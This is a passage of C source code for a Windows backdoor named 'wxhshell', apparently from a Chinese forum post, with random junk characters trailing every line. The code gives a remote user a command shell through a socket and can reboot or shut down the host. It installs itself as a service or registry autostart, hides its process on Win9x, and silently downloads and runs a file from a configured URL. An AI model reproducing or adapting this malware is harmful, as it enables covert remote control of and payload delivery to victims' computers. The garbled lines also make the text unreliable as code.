  // 帮助 #waK^B)<a  
  case '?': { :8l#jU `y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yPT\9"/  
    break; Py~N.@(:1u  
  } ?Suv.!wfLl  
  // 安装 eDL0Vw  
  case 'i': { s,]z6L0  
    if(Install()) <-N7Skkk!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MUR Hv3  
    else .7r$jmuFs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "J*LR  
    break; *%jd>e7d  
    } 'OvyQ/T  
  // 卸载 Lo uYY: Q  
  case 'r': { 3y]rhB  
    if(Uninstall()) -14~f)%NQ*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w_9[y  
    else V<0J j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u#`'|ko \9  
    break; HVaKy+RU  
    } A}z1~Z+  
  // 显示 wxhshell 所在路径 [K#pU:lTH  
  case 'p': { t2#zQ[~X!  
    char svExeFile[MAX_PATH]; MB3 N3,yL  
    strcpy(svExeFile,"\n\r"); Ufv0Xj  
      strcat(svExeFile,ExeFile); %tZ[wwt  
        send(wsh,svExeFile,strlen(svExeFile),0); 0;:AT|U/d  
    break; zJT,Hv .  
    } Jec<1|  
  // 重启 .R{+Pz D  
  case 'b': { THHA~;00YN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TTm  
    if(Boot(REBOOT)) avEsX_.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &E$:^a4d  
    else { sZYTpZgW4L  
    closesocket(wsh); <n)R?P(or  
    ExitThread(0); <G#z;]N  
    } `]m/za%7  
    break; HQtUNtZ  
    } Ps9YP B-  
  // 关机 O:Ob{k  
  case 'd': { KSy.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E K#ib  
    if(Boot(SHUTDOWN)) qwDoYy yu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6HxZS+], c  
    else { v m)'C C  
    closesocket(wsh); q<!Kt I4  
    ExitThread(0); 6jo+i[h  
    } QE%|8UFY  
    break; "RMvWuNt  
    } IX y  $  
  // 获取shell X^ZUm  
  case 's': { NzuH&o][  
    CmdShell(wsh); R22P ol  
    closesocket(wsh); e \ rb  
    ExitThread(0); hV>@qOl '  
    break; tx{tIw^2;  
  } B#9T6|2  
  // 退出 ]z_C7Y"4BR  
  case 'x': { sKuPV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {uuvgFC  
    CloseIt(wsh); b=j]tb,  
    break;  gC}D0l[  
    } &+>)H$5  
  // 离开 8/* 6&#-  
  case 'q': { M/^kita  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1O]27"9  
    closesocket(wsh); #3o]Qo[Sc  
    WSACleanup(); 8ncgTCH:  
    exit(1); Nd.Tda!Kg  
    break; /o=,\kM  
        } fG\]&LFBU  
  } IfGQeynj  
  } V`z2F'vT  
6X.lncE@p  
  // 提示信息  >o"3:/3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $6]7>:8mz  
} qg;f h]j%  
  } YOHYXhc{S  
4?a!6  
  return; :,^pLAt  
} _F1{<" 4  
I=3e@aTZ,  
// shell模块句柄 %wp#vO-$  
int CmdShell(SOCKET sock) +=bGrn>h  
{  _,2P4  
STARTUPINFO si; hA81(JWG  
ZeroMemory(&si,sizeof(si)); Eb<iR)e H=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y`EcBf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *0,?QS-a  
PROCESS_INFORMATION ProcessInfo; ]d@@E_s]  
char cmdline[]="cmd"; @9QtK69  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Y+#e| x  
  return 0; >Rbgg1^]5  
} *L9s7RR  
.qioEqK8!y  
// 自身启动模式 Pb|'f(  
int StartFromService(void) 3 9Ql|l$  
{ $z+iB;x  
typedef struct t_q`wKDE  
{ Upr:sB  
  DWORD ExitStatus; !t["pr\ ?  
  DWORD PebBaseAddress; d/GP.d  
  DWORD AffinityMask; lq$1CI  
  DWORD BasePriority; Qj? G KO  
  ULONG UniqueProcessId; 1a)NM#  
  ULONG InheritedFromUniqueProcessId; 6?0 ^U 9  
}   PROCESS_BASIC_INFORMATION; b+NF: -fO  
+SmcZ^\OZ  
PROCNTQSIP NtQueryInformationProcess; g]V}azLr  
-P5VE0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Tv0|e'^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; PiZt?r?5w|  
<=V2~ asB  
  HANDLE             hProcess; (9BjZ&ej  
  PROCESS_BASIC_INFORMATION pbi; Lrz>0_Q  
)Xa`LG =|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I~qS6#%r  
  if(NULL == hInst ) return 0; P sD+?  
uKqN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &G@*/2A  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r+;C}[E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6:B[8otQ  
J?-"]s`J  
  if (!NtQueryInformationProcess) return 0; e+=Ojo#  
g?M\Z";  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WZRrqrjq  
  if(!hProcess) return 0; )vsiX}3  
@3[Z Q F  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zp4Jd"XBX  
!xMyk>%2  
  CloseHandle(hProcess); ]?^m;~MQZ  
Tn/ 3`j {  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @5zL4n@w  
if(hProcess==NULL) return 0; xrO:Y!C?  
)KR9alf3  
HMODULE hMod; SMgf(N3]  
char procName[255]; -zHJ#  
unsigned long cbNeeded; Y{@ez  
p0uQ>[NV0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CIQo2~G  
]BCH9%zLj  
  CloseHandle(hProcess); ,a< !d  
PR~ho&!  
if(strstr(procName,"services")) return 1; // 以服务启动 1d|+7  
R#Id"O  
  return 0; // 注册表启动 .BlGV2@^#  
} c^UG}:Y  
rayC1#f  
// 主模块 \x)T_]Gcm  
int StartWxhshell(LPSTR lpCmdLine) z)q9O_g9  
{ >!wX% QHH  
  SOCKET wsl; Gs.id^Sf  
BOOL val=TRUE; xc8MOm  
  int port=0; <;+&`R  
  struct sockaddr_in door; a7nbGqsx  
kfg9l?R$I<  
  if(wscfg.ws_autoins) Install(); c&AA< 6pkv  
=wPl;SDf!  
port=atoi(lpCmdLine); S!2M?}LU  
[$]vi`c2  
if(port<=0) port=wscfg.ws_port; P$N\o@  
]gHw;ry  
  WSADATA data; i=.zkIjSh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ; @-7'%(C  
%[-D&flKC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \$V~kgQ0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F.?^ko9d  
  door.sin_family = AF_INET; d5\w'@Di  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &$qqF&  
  door.sin_port = htons(port); gE0k|Z(RF  
7\rz*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~0!s5  
closesocket(wsl); bf-.SX~  
return 1; .4Jea#M&x  
} cc*A/lD  
J p!Q2}  
  if(listen(wsl,2) == INVALID_SOCKET) { TPt<(-}W  
closesocket(wsl); ux& WN ,  
return 1; sikG}p0mx<  
} CQW#o_\  
  Wxhshell(wsl); |#LU"D  
  WSACleanup(); R^<li;Km  
5yI_uQR  
return 0; 6UG7lH!M  
Nj5Mc>_   
} HbX>::J8  
/9,!)/j  
// 以NT服务方式启动 b<P9@h~:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C,P>7  
{ 3J32W@}.K  
DWORD   status = 0; D kl4 ^}  
  DWORD   specificError = 0xfffffff; HJo&snT3  
mFw`LvH?*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NGOc:>}k>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ARGtWW~:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n#Q;b Sw  
  serviceStatus.dwWin32ExitCode     = 0; __fa,kK{?  
  serviceStatus.dwServiceSpecificExitCode = 0; U$&G_&*0a  
  serviceStatus.dwCheckPoint       = 0; Z,^`R] 9  
  serviceStatus.dwWaitHint       = 0; { Iy<iV  
N_rz~$|@9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _ [su?C  
  if (hServiceStatusHandle==0) return; c>#T\AEkF  
5R\{&  
status = GetLastError(); u9ObFm$7  
  if (status!=NO_ERROR) VNBf2Va  
{ FNL[6.!PV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zP$0B!9  
    serviceStatus.dwCheckPoint       = 0; 8[\F*H  
    serviceStatus.dwWaitHint       = 0; dmI~$*  
    serviceStatus.dwWin32ExitCode     = status; o@*eC L=  
    serviceStatus.dwServiceSpecificExitCode = specificError; |ZZl3l=]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v._Q XcE  
    return; 5Iinen3>  
  } _;L%? -2c  
VPW@y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; }N[|2n R'  
  serviceStatus.dwCheckPoint       = 0; `Sgj!/! F  
  serviceStatus.dwWaitHint       = 0; B( r~Nvc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P'%#B&LZo  
} aO8n\'bv  
Bn:" q N~  
// 处理NT服务事件,比如:启动、停止 XrP'FLY o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [d 30mVM  
{ %3b;`Oa  
switch(fdwControl) j3>0oe!  
{ [hzw..?g  
case SERVICE_CONTROL_STOP: riw0w  
  serviceStatus.dwWin32ExitCode = 0; >f+qImH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qLC_p)  
  serviceStatus.dwCheckPoint   = 0; -KV)1kET  
  serviceStatus.dwWaitHint     = 0; 5&A{IN  
  { "#}Uh  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :&SvjJR  
  } 2L!s'^m-  
  return; Q /D?U[G  
case SERVICE_CONTROL_PAUSE: j IO2uTM~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (<GBhNj=c  
  break; &[ oW"Q{  
case SERVICE_CONTROL_CONTINUE: , e^&,5b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; m\*;Fx  
  break; @M( hyS&on  
case SERVICE_CONTROL_INTERROGATE: 7x> \/l(  
  break; Z4ekBdmCL  
}; Nm {|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PFR64HK2  
} h]6m+oPW  
r? 9D/|`  
// 标准应用程序主函数 EBQ,Ypv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n[[2<s*YJ  
{  9}-;OJe  
oS>VN<  
// 获取操作系统版本 ~ eNKu  
OsIsNt=GetOsVer(); A4K8DP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7a0T]  
t[e`wj+qz  
  // 从命令行安装 cG)U01/"  
  if(strpbrk(lpCmdLine,"iI")) Install(); C[ma!he  
Pk ?M~{S  
  // 下载执行文件 eP(|]Rk  
if(wscfg.ws_downexe) { DhVO}g)2#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2I[(UMI$7  
  WinExec(wscfg.ws_filenam,SW_HIDE); :<p3L!?8y  
} c`Q#4e]%_  
_^ZBSx09)  
if(!OsIsNt) { '_q&~M{  
// 如果时win9x,隐藏进程并且设置为注册表启动 ew+>?a'&L  
HideProc(); N({0"7  
StartWxhshell(lpCmdLine); ZrNBkfe :  
} PenkqDc}  
else MV.&GUez{  
  if(StartFromService()) 2#81oz&K  
  // 以服务方式启动 Au10]b  
  StartServiceCtrlDispatcher(DispatchTable); H|%'$oWp  
else =D3K})&  
  // 普通方式启动 1xTNrLW  
  StartWxhshell(lpCmdLine); 4k_y;$4WN  
W0+m A  
return 0; c BcZ@e;  
}
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只看该作者 1 发表于: 2006-10-10
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